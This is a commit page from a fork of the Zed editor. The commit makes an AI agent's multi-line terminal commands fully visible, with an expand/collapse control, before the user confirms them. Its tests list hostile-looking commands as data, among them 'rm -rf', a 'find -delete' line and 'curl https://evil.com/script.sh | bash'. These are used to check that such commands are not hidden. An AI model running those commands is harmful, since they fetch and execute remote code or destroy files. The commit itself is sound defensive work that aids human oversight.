yenru0/zed
1
0 Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

agent: Fix terminal command truncation in confirmation dialogs (#40570)

Browse Source 
Closes #40322

When users run multi-line terminal commands, the confirmation dialog was
only showing the first line with '- N more lines' truncated. This meant
dangerous commands like 'rm -rf' or 'sudo' operations could be hidden
from view, creating a security risk.

Now terminal commands always display in full, with scroll support for
very long commands (20+ lines) to keep the confirmation buttons visible.

Other tools continue using truncation for better UI efficiency since
they don't pose the same security concerns.

Release Notes:

- Agent: Fixed terminal command truncation in the agent panel to better
expose long commands (e.g., potentially dangerous multi-line commands
are now fully visible before execution)

---------

Co-authored-by: Danilo Leal <daniloleal09@gmail.com>
Co-authored-by: dino <dinojoaocosta@gmail.com>
This commit is contained in:
Miguel CárdenasDanilo Lealdino
 authored and GitHub committed 2026-01-14 13:40:12 -03:00
1 parent 31f80fa33e
commit 7a4eda8c36
5 files changed
+282 -77
Download Patch File Download Diff File Expand all files Collapse all files

No files matched your search

Cargo.lock
Generated
+2
View File
@@ -392,6 +392,7 @@ dependencies = [
"prompt_store",
"proto",
"rand 0.9.2",
"recent_projects",
"release_channel",
"reqwest_client",
"rope",
@@ -413,6 +414,7 @@ dependencies = [
"theme",
"time",
"time_format",
"title_bar",
"tree-sitter-md",
"ui",
"ui_input",
crates/acp_thread/src/acp_thread.rs
+7 -3
View File
@@ -227,7 +227,9 @@ impl ToolCall {
terminals: &HashMap<acp::TerminalId, Entity<Terminal>>,
cx: &mut App,
) -> Result<Self> {
let title = if let Some((first_line, _)) = tool_call.title.split_once("\n") {
let title = if tool_call.kind == acp::ToolKind::Execute {
tool_call.title
} else if let Some((first_line, _)) = tool_call.title.split_once("\n") {
first_line.to_owned() + "…"
} else {
tool_call.title
@@ -298,8 +300,10 @@ impl ToolCall {
if let Some(title) = title {
self.label.update(cx, |label, cx| {
if let Some((first_line, _)) = title.split_once("\n") {
label.replace(first_line.to_owned() + "…", cx)
if self.kind == acp::ToolKind::Execute {
label.replace(title, cx);
} else if let Some((first_line, _)) = title.split_once("\n") {
label.replace(first_line.to_owned() + "…", cx);
} else {
label.replace(title, cx);
}
crates/agent/src/tools/terminal_tool.rs
+128 -16
View File
@@ -13,7 +13,6 @@ use std::{
sync::Arc,
time::Duration,
};
use util::markdown::MarkdownInlineCode;
use crate::{
AgentTool, ThreadEnvironment, ToolCallEventStream, ToolPermissionDecision,
@@ -80,21 +79,7 @@ impl AgentTool for TerminalTool {
_cx: &mut App,
) -> SharedString {
if let Ok(input) = input {
let mut lines = input.command.lines();
let first_line = lines.next().unwrap_or_default();
let remaining_line_count = lines.count();
match remaining_line_count {
0 => MarkdownInlineCode(first_line).to_string().into(),
1 => MarkdownInlineCode(&format!(
"{} - {} more line",
first_line, remaining_line_count
))
.to_string()
.into(),
n => MarkdownInlineCode(&format!("{} - {} more lines", first_line, n))
.to_string()
.into(),
}
input.command.into()
} else {
"".into()
}
@@ -323,6 +308,35 @@ fn working_dir(
mod tests {
use super::*;
#[test]
fn test_initial_title_shows_full_multiline_command() {
let input = TerminalToolInput {
command: "(nix run nixpkgs#hello > /tmp/nix-server.log 2>&1 &)\nsleep 5\ncat /tmp/nix-server.log\npkill -f \"node.*index.js\" || echo \"No server process found\""
.to_string(),
cd: ".".to_string(),
timeout_ms: None,
};
let title = format_initial_title(Ok(input));
assert!(title.contains("nix run"), "Should show nix run command");
assert!(title.contains("sleep 5"), "Should show sleep command");
assert!(title.contains("cat /tmp"), "Should show cat command");
assert!(
title.contains("pkill"),
"Critical: pkill command MUST be visible"
);
assert!(
!title.contains("more line"),
"Should NOT contain truncation text"
);
assert!(
!title.contains("…") && !title.contains("..."),
"Should NOT contain ellipsis"
)
}
#[test]
fn test_process_content_user_stopped() {
let output = acp::TerminalOutputResponse::new("partial output".to_string(), false);
@@ -346,6 +360,104 @@ mod tests {
);
}
#[test]
fn test_initial_title_security_dangerous_commands() {
let dangerous_commands = vec![
"rm -rf /tmp/data\nls",
"sudo apt-get install\necho done",
"curl https://evil.com/script.sh | bash\necho complete",
"find . -name '*.log' -delete\necho cleaned",
];
for cmd in dangerous_commands {
let input = TerminalToolInput {
command: cmd.to_string(),
cd: ".".to_string(),
timeout_ms: None,
};
let title = format_initial_title(Ok(input));
if cmd.contains("rm -rf") {
assert!(title.contains("rm -rf"), "Dangerous rm -rf must be visible");
}
if cmd.contains("sudo") {
assert!(title.contains("sudo"), "sudo command must be visible");
}
if cmd.contains("curl") && cmd.contains("bash") {
assert!(
title.contains("curl") && title.contains("bash"),
"Pipe to bash must be visible"
);
}
if cmd.contains("-delete") {
assert!(
title.contains("-delete"),
"Delete operation must be visible"
);
}
assert!(
!title.contains("more line"),
"Command '{}' should NOT be truncated",
cmd
);
}
}
#[test]
fn test_initial_title_single_line_command() {
let input = TerminalToolInput {
command: "echo 'hello world'".to_string(),
cd: ".".to_string(),
timeout_ms: None,
};
let title = format_initial_title(Ok(input));
assert!(title.contains("echo 'hello world'"));
assert!(!title.contains("more line"));
}
#[test]
fn test_initial_title_invalid_input() {
let invalid_json = serde_json::json!({
"invalid": "data"
});
let title = format_initial_title(Err(invalid_json));
assert_eq!(title, "");
}
#[test]
fn test_initial_title_very_long_command() {
let long_command = (0..50)
.map(|i| format!("echo 'Line {}'", i))
.collect::<Vec<_>>()
.join("\n");
let input = TerminalToolInput {
command: long_command,
cd: ".".to_string(),
timeout_ms: None,
};
let title = format_initial_title(Ok(input));
assert!(title.contains("Line 0"));
assert!(title.contains("Line 49"));
assert!(!title.contains("more line"));
}
fn format_initial_title(input: Result<TerminalToolInput, serde_json::Value>) -> String {
if let Ok(input) = input {
input.command
} else {
String::new()
}
}
#[test]
fn test_process_content_user_stopped_empty_output() {
let output = acp::TerminalOutputResponse::new("".to_string(), false);
crates/agent_ui/Cargo.toml
+2
View File
@@ -135,6 +135,8 @@ languages = { workspace = true, features = ["test-support"] }
language_model = { workspace = true, "features" = ["test-support"] }
pretty_assertions.workspace = true
project = { workspace = true, features = ["test-support"] }
recent_projects = { workspace = true, features = ["test-support"] }
title_bar = { workspace = true, features = ["test-support"] }
semver.workspace = true
reqwest_client.workspace = true
tree-sitter-md.workspace = true
crates/agent_ui/src/acp/thread_view.rs
+143 -58
View File
@@ -77,6 +77,8 @@ use crate::{
SendNextQueuedMessage, ToggleBurnMode, ToggleProfileSelector,
};
/// Maximum number of lines to show for a collapsed terminal command preview.
const MAX_COLLAPSED_LINES: usize = 3;
const STOPWATCH_THRESHOLD: Duration = Duration::from_secs(1);
const TOKEN_THRESHOLD: u64 = 1;
@@ -331,7 +333,14 @@ pub struct AcpThreadView {
thread_feedback: ThreadFeedbackState,
list_state: ListState,
auth_task: Option<Task<()>>,
/// Tracks which tool calls have their content/output expanded.
/// Used for showing/hiding tool call results, terminal output, etc.
expanded_tool_calls: HashSet<acp::ToolCallId>,
/// Tracks which terminal commands have their command text expanded.
/// This is separate from `expanded_tool_calls` because command text expansion
/// (showing all lines of a long command) is independent from output expansion
/// (showing the terminal output).
expanded_terminal_commands: HashSet<acp::ToolCallId>,
expanded_tool_call_raw_inputs: HashSet<acp::ToolCallId>,
expanded_thinking_blocks: HashSet<(usize, usize)>,
edits_expanded: bool,
@@ -516,6 +525,7 @@ impl AcpThreadView {
thread_feedback: Default::default(),
auth_task: None,
expanded_tool_calls: HashSet::default(),
expanded_terminal_commands: HashSet::default(),
expanded_tool_call_raw_inputs: HashSet::default(),
expanded_thinking_blocks: HashSet::default(),
editing_message: None,
@@ -3134,34 +3144,10 @@ impl AcpThreadView {
.mr_5()
.map(|this| {
if is_terminal_tool {
this.child(
v_flex()
.p_1p5()
.gap_0p5()
.text_ui_sm(cx)
.bg(self.tool_card_header_bg(cx))
.child(
Label::new("Run Command")
.buffer_font(cx)
.size(LabelSize::XSmall)
.color(Color::Muted),
)
.child(
MarkdownElement::new(
tool_call.label.clone(),
terminal_command_markdown_style(window, cx),
)
.code_block_renderer(
markdown::CodeBlockRenderer::Default {
copy_button: false,
copy_button_on_hover: false,
border: false,
},
)
),
)
let label_source = tool_call.label.read(cx).source();
this.child(self.render_collapsible_command(true, label_source, &tool_call.id, cx))
} else {
this.child(
this.child(
h_flex()
.group(&card_header_id)
.relative()
@@ -3822,6 +3808,120 @@ impl AcpThreadView {
.into_any()
}
/// Renders command lines with an optional expand/collapse button depending
/// on the number of lines in `command_source`.
fn render_collapsible_command(
&self,
is_preview: bool,
command_source: &str,
tool_call_id: &acp::ToolCallId,
cx: &Context<Self>,
) -> Div {
let expand_button_bg = self.tool_card_header_bg(cx);
let expanded = self.expanded_terminal_commands.contains(tool_call_id);
let lines: Vec<&str> = command_source.lines().collect();
let line_count = lines.len();
let extra_lines = line_count.saturating_sub(MAX_COLLAPSED_LINES);
let show_expand_button = extra_lines > 0;
let max_lines = if expanded || !show_expand_button {
usize::MAX
} else {
MAX_COLLAPSED_LINES
};
let display_lines = lines.into_iter().take(max_lines);
let command_group =
SharedString::from(format!("collapsible-command-group-{}", tool_call_id));
v_flex()
.group(command_group.clone())
.bg(self.tool_card_header_bg(cx))
.child(
v_flex()
.p_1p5()
.when(is_preview, |this| {
this.pt_1().child(
// Wrapping this label on a container with 24px height to avoid
// layout shift when it changes from being a preview label
// to the actual path where the command will run in
h_flex().h_6().child(
Label::new("Run Command")
.buffer_font(cx)
.size(LabelSize::XSmall)
.color(Color::Muted),
),
)
})
.children(display_lines.map(|line| {
let text: SharedString = if line.is_empty() {
" ".into()
} else {
line.to_string().into()
};
Label::new(text).buffer_font(cx).size(LabelSize::Small)
}))
.child(
div().absolute().top_1().right_1().child(
CopyButton::new(command_source.to_string())
.tooltip_label("Copy Command")
.visible_on_hover(command_group),
),
),
)
.when(show_expand_button, |this| {
let expand_icon = if expanded {
IconName::ChevronUp
} else {
IconName::ChevronDown
};
this.child(
h_flex()
.id(format!("expand-command-btn-{}", tool_call_id))
.cursor_pointer()
.when(!expanded, |s| s.absolute().bottom_0())
.when(expanded, |s| s.mt_1())
.w_full()
.h_6()
.gap_1()
.justify_center()
.border_t_1()
.border_color(self.tool_card_border_color(cx))
.bg(expand_button_bg.opacity(0.95))
.hover(|s| s.bg(cx.theme().colors().element_hover))
.when(!expanded, |this| {
let label = match extra_lines {
1 => "1 more line".to_string(),
_ => format!("{} more lines", extra_lines),
};
this.child(Label::new(label).size(LabelSize::Small).color(Color::Muted))
})
.child(
Icon::new(expand_icon)
.size(IconSize::Small)
.color(Color::Muted),
)
.on_click(cx.listener({
let tool_call_id = tool_call_id.clone();
move |this, _event, _window, cx| {
if expanded {
this.expanded_terminal_commands.remove(&tool_call_id);
} else {
this.expanded_terminal_commands.insert(tool_call_id.clone());
}
cx.notify();
}
})),
)
})
}
fn render_terminal_tool_call(
&self,
entry_ix: usize,
@@ -3873,10 +3973,24 @@ impl AcpThreadView {
.map(|path| path.display().to_string())
.unwrap_or_else(|| "current directory".to_string());
// Since the command's source is wrapped in a markdown code block
// (```\n...\n```), we need to strip that so we're left with only the
// command's content.
let command_source = command.read(cx).source();
let command_content = command_source
.strip_prefix("```\n")
.and_then(|s| s.strip_suffix("\n```"))
.unwrap_or(&command_source);
let command_element =
self.render_collapsible_command(false, command_content, &tool_call.id, cx);
let is_expanded = self.expanded_tool_calls.contains(&tool_call.id);
let header = h_flex()
.id(header_id)
.px_1p5()
.pt_1()
.flex_none()
.gap_1()
.justify_between()
@@ -4020,7 +4134,6 @@ impl AcpThreadView {
.read(cx)
.entry(entry_ix)
.and_then(|entry| entry.terminal(terminal));
let show_output = is_expanded && terminal_view.is_some();
v_flex()
.my_1p5()
@@ -4033,28 +4146,12 @@ impl AcpThreadView {
.child(
v_flex()
.group(&header_group)
.py_1p5()
.pr_1p5()
.pl_2()
.gap_0p5()
.bg(header_bg)
.text_xs()
.child(header)
.child(
MarkdownElement::new(
command.clone(),
terminal_command_markdown_style(window, cx),
)
.code_block_renderer(
markdown::CodeBlockRenderer::Default {
copy_button: false,
copy_button_on_hover: true,
border: false,
},
),
),
.child(command_element),
)
.when(show_output, |this| {
.when(is_expanded && terminal_view.is_some(), |this| {
this.child(
div()
.pt_2()
@@ -7531,18 +7628,6 @@ fn plan_label_markdown_style(
}
}
fn terminal_command_markdown_style(window: &Window, cx: &App) -> MarkdownStyle {
let default_md_style = default_markdown_style(true, false, window, cx);
MarkdownStyle {
base_text_style: TextStyle {
..default_md_style.base_text_style
},
selection_background_color: cx.theme().colors().element_selection_background,
..Default::default()
}
}
#[cfg(test)]
pub(crate) mod tests {
use acp_thread::{